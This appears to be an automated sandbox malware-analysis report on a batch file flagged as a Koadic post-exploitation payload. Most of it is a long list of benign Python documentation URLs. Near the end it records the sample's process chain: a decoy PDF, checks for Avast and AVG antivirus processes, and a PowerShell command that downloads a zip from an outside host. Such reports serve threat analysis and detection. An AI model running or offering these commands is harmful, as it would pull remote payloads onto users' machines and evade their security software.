Source: download.html.23.dr	String found in binary or memory: https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-pdf-letter.tar.bz2
Source: download.html.23.dr	String found in binary or memory: https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-pdf-letter.zip
Source: download.html.23.dr	String found in binary or memory: https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-text.tar.bz2
Source: download.html.23.dr	String found in binary or memory: https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-text.zip
Source: download.html.23.dr	String found in binary or memory: https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs.epub
Source: svchost.exe, 0000000C.00000003.1359061602.000001999AFC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.1359061602.000001999AF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 0000000A.00000002.3530838111.000002463A5C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3578764175.0000024652543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/hacl-star/hacl-star/
Source: iterator.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/iterator.rst
Source: method.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/method.rst
Source: type.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/type.rst
Source: index.html3.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/distributing/index.rst
Source: installed.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/installed.rst
Source: windows.html2.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/windows.rst
Source: ipaddress.html0.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/ipaddress.rst
Source: isolating-extensions.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst
Source: asyncio-runner.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-runner.rst
Source: atexit.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/atexit.rst
Source: calendar.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/calendar.rst
Source: compileall.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/compileall.rst
Source: email.iterators.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.iterators.rst
Source: email.parser.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.parser.rst
Source: filecmp.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/filecmp.rst
Source: importlib.resources.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/importlib.resources.rst
Source: inspect.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/inspect.rst
Source: ipc.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/ipc.rst
Source: json.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/json.rst
Source: pickletools.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/pickletools.rst
Source: random.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/random.rst
Source: shutil.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/shutil.rst
Source: spwd.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/spwd.rst
Source: stdtypes.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/stdtypes.rst
Source: stringprep.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/stringprep.rst
Source: subprocess.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/subprocess.rst
Source: telnetlib.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/telnetlib.rst
Source: urllib.error.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/urllib.error.rst
Source: urllib.parse.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/urllib.parse.rst
Source: windows.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/windows.rst
Source: xml.dom.minidom.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.dom.minidom.rst
Source: zlib.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/zlib.rst
Source: import.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/import.rst
Source: simple_stmts.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/simple_stmts.rst
Source: interactive.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/interactive.rst
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.12.rst
Source: 3.4.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.4.rst
Source: isolating-extensions.html.23.dr	String found in binary or memory: https://github.com/python/cpython/blob/master/Modules/xxlimited.c
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/python/cpython/issues/102856
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/python/cpython/issues/103764
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/python/cpython/issues/104210
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/python/cpython/issues/95299
Source: asyncio-runner.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/runners.py
Source: calendar.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/calendar.py
Source: compileall.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/compileall.py
Source: email.iterators.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/iterators.py
Source: email.parser.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/parser.py
Source: filecmp.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/filecmp.py
Source: importlib.resources.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/importlib/resources/__init__.py
Source: inspect.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/inspect.py
Source: json.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/json/__init__.py
Source: json.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/json/tool.py
Source: pickletools.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/pickletools.py
Source: random.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/random.py
Source: shutil.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/shutil.py
Source: stringprep.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/stringprep.py
Source: subprocess.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/subprocess.py
Source: telnetlib.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/telnetlib.py
Source: urllib.error.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/urllib/error.py
Source: urllib.parse.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/urllib/parse.py
Source: xml.dom.minidom.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/dom/minidom.py
Source: 3.12.html.23.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Modules/_xxsubinterpretersmodule.c
Source: importlib.resources.html.23.dr	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/migration.html
Source: importlib.resources.html.23.dr	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html
Source: download.html.23.dr	String found in binary or memory: https://infozip.sourceforge.net
Source: interactive.html.23.dr	String found in binary or memory: https://ipython.org/
Source: json.html.23.dr	String found in binary or memory: https://json.org
Source: 3.4.html.23.dr	String found in binary or memory: https://ltp.sourceforge.net/coverage/lcov.php
Source: isolating-extensions.html.23.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/capi-sig.python.org/
Source: 3.4.html.23.dr	String found in binary or memory: https://mail.python.org/pipermail/python-dev/2013-November/130111.html
Source: random.html.23.dr, statistics.html.23.dr	String found in binary or memory: https://mathworld.wolfram.com/BinomialDistribution.html
Source: random.html.23.dr	String found in binary or memory: https://nbviewer.org/url/norvig.com/ipython/Economics.ipynb
Source: random.html.23.dr	String found in binary or memory: https://nbviewer.org/url/norvig.com/ipython/Probability.ipynb
Source: random.html.23.dr	String found in binary or memory: https://norvig.com/bio.html
Source: powershell.exe, 0000000A.00000002.3571387307.000002464A41F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3571387307.000002464A555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 3.4.html.23.dr	String found in binary or memory: https://packaging.python.org
Source: index.html3.23.dr, __main__.html.23.dr	String found in binary or memory: https://packaging.python.org/
Source: index.html3.23.dr, venv.html0.23.dr	String found in binary or memory: https://packaging.python.org/en/latest/tutorials/packaging-projects/
Source: windows.html2.23.dr	String found in binary or memory: https://peps.python.org/pep-0008/
Source: simple_stmts.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0236/
Source: stdtypes.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0237/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0247/
Source: shutil.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0282/
Source: import.html.23.dr, sys.html0.23.dr	String found in binary or memory: https://peps.python.org/pep-0302/
Source: subprocess.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0324/
Source: import.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0328/
Source: import.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0338/
Source: inspect.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0362/
Source: import.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0366/
Source: import.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0420/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0424/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0428/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0429/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0435/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0436/
Source: 3.4.html.23.dr, typeobj.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0442/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0443/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0445/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0446/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0450/
Source: 3.4.html.23.dr, import.html.23.dr, 3.12.html.23.dr, 3.10.html.23.dr, sys.html0.23.dr	String found in binary or memory: https://peps.python.org/pep-0451/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0453/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0453/#recommendations-for-downstream-distributors
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0454/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0456/
Source: stdtypes.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0461/
Source: stdtypes.html.23.dr, simple_stmts.html.23.dr, 3.12.html.23.dr, 3.10.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0484/
Source: inspect.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0492/
Source: inspect.html.23.dr, sys.html0.23.dr	String found in binary or memory: https://peps.python.org/pep-0525/
Source: simple_stmts.html.23.dr, 3.10.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0526/
Source: 3.12.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0554/
Source: simple_stmts.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0563/
Source: stdtypes.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0585/
Source: spwd.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0594/#spwd
Source: telnetlib.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0594/#telnetlib
Source: stdtypes.html.23.dr, 3.10.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0604/
Source: 3.12.html.23.dr, 3.10.html.23.dr, grammar.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0617/
Source: 3.12.html.23.dr, 3.10.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0623/
Source: 3.12.html.23.dr, 3.10.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0632/
Source: 3.12.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0632/#migration-advice
Source: 3.12.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0684/
Source: 3.12.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0693/
Source: 3.12.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0695/
Source: 3.12.html.23.dr	String found in binary or memory: https://peps.python.org/pep-0701/
Source: simple_stmts.html.23.dr	String found in binary or memory: https://peps.python.org/pep-3104/
Source: stdtypes.html.23.dr, 2.6.html.23.dr	String found in binary or memory: https://peps.python.org/pep-3118/
Source: simple_stmts.html.23.dr	String found in binary or memory: https://peps.python.org/pep-3132/
Source: compileall.html.23.dr	String found in binary or memory: https://peps.python.org/pep-3147/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-3154/
Source: 3.4.html.23.dr	String found in binary or memory: https://peps.python.org/pep-3156/
Source: shutil.html.23.dr	String found in binary or memory: https://pubs.opengroup.org/onlinepubs/7908799/xbd/envvar.html#tag_002_003
Source: 3.12.html.23.dr	String found in binary or memory: https://setuptools.pypa.io/en/latest/deprecated/distutils-legacy.html
Source: importlib.resources.html.23.dr	String found in binary or memory: https://setuptools.readthedocs.io/en/latest/pkg_resources.html
Source: importlib.resources.html.23.dr	String found in binary or memory: https://setuptools.readthedocs.io/en/latest/pkg_resources.html#basic-resource-access
Source: interactive.html.23.dr	String found in binary or memory: https://tiswww.case.edu/php/chet/readline/rltop.html
Source: stdtypes.html.23.dr	String found in binary or memory: https://unicode.org/Public/UNIDATA/extracted/DerivedNumericType.txt
Source: urllib.parse.html.23.dr	String found in binary or memory: https://url.spec.whatwg.org/
Source: urllib.parse.html.23.dr	String found in binary or memory: https://url.spec.whatwg.org/#concept-basic-url-parser
Source: random.html.23.dr	String found in binary or memory: https://us.pycon.org/2016/speaker/profile/295/
Source: installed.html.23.dr	String found in binary or memory: https://wiki.python.org/moin/BeginnersGuide
Source: json.html.23.dr	String found in binary or memory: https://www.ecma-international.org/publications-and-standards/standards/ecma-404/
Source: xml.dom.minidom.html.23.dr	String found in binary or memory: https://www.iana.org/assignments/character-sets/character-sets.xhtml
Source: json.html.23.dr	String found in binary or memory: https://www.jsonrpc.org
Source: 3.12.html.23.dr, intro.html.23.dr, types.html.23.dr, datetime.html.23.dr, coro.html.23.dr, 3.10.html.23.dr, genindex-N.html.23.dr, functools.html.23.dr, venv.html0.23.dr, sys_path_init.html.23.dr, genindex-L.html.23.dr, extending.html0.23.dr, complex.html.23.dr, sunau.html.23.dr, termios.html.23.dr, crypto.html.23.dr, binary.html.23.dr, tkinter.dnd.html.23.dr, html.entities.html.23.dr, csv.html.23.dr, genindex-all.html.23.dr	String found in binary or memory: https://www.python.org/
Source: import.html.23.dr	String found in binary or memory: https://www.python.org/doc/essays/packages/
Source: opensearch.xml.23.dr	String found in binary or memory: https://www.python.org/images/favicon16x16.ico
Source: installed.html.23.dr, stdtypes.html.23.dr, iterator.html.23.dr, shutil.html.23.dr, 3.4.html.23.dr, import.html.23.dr, stringprep.html.23.dr, email.parser.html.23.dr, download.html.23.dr, compileall.html.23.dr, calendar.html.23.dr, spwd.html.23.dr, zlib.html.23.dr, asyncio-runner.html.23.dr, isolating-extensions.html.23.dr, xml.dom.minidom.html.23.dr, random.html.23.dr, simple_stmts.html.23.dr, windows.html2.23.dr, index.html3.23.dr, json.html.23.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: json.html.23.dr	String found in binary or memory: https://www.rfc-editor.org/errata_search.php?rfc=7159
Source: installed.html.23.dr, stdtypes.html.23.dr, iterator.html.23.dr, shutil.html.23.dr, 3.4.html.23.dr, import.html.23.dr, stringprep.html.23.dr, email.parser.html.23.dr, download.html.23.dr, compileall.html.23.dr, calendar.html.23.dr, spwd.html.23.dr, zlib.html.23.dr, asyncio-runner.html.23.dr, isolating-extensions.html.23.dr, xml.dom.minidom.html.23.dr, random.html.23.dr, simple_stmts.html.23.dr, windows.html2.23.dr, index.html3.23.dr, json.html.23.dr	String found in binary or memory: https://www.sphinx-doc.org/
Source: 3.4.html.23.dr	String found in binary or memory: https://www.sqlite.org/uri.html
Source: random.html.23.dr	String found in binary or memory: https://www.thoughtco.com/example-of-bootstrapping-3126155
Source: stdtypes.html.23.dr	String found in binary or memory: https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf
Source: stdtypes.html.23.dr	String found in binary or memory: https://www.unicode.org/versions/Unicode15.0.0/ch04.pdf
Source: random.html.23.dr	String found in binary or memory: https://www.youtube.com/watch?v=Iq9DzN6mvYA
Source: zlib.html.23.dr	String found in binary or memory: https://www.zlib....
Source: zlib.html.23.dr	String found in binary or memory: https://www.zlib.net
Source: json.html.23.dr	String found in binary or memory: https://yaml.org/
Source: zlib.html.23.dr	String found in binary or memory: https://zlib.net/zlib_faq.html#faq33

System Summary

Malicious sample detected (through community Yara rule)

Source: new.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testclinic.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testsinglephase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libssl-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libcrypto-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\zlib1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Launcher\pyw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_wmi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Launcher\pyshellext.amd64.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_multiprocessing.pyd	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_00007FFAAB3400AD

10_2_00007FFAAB3400AD

Source: Joe Sandbox View

Dropped File: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe E52553F941CEB9E715D239E7A211501CE5D6096EEEB90FB161B7BFEDF6A61DAB

Source: _overlapped.pyd.23.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.23.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testclinic.pyd.23.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.23.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: zlib1.dll.23.dr

Static PE information: Number of sections : 12 > 10

Source: new.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal76.troj.winBAT@33/689@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1512:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-15 02-55-20-156.log

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
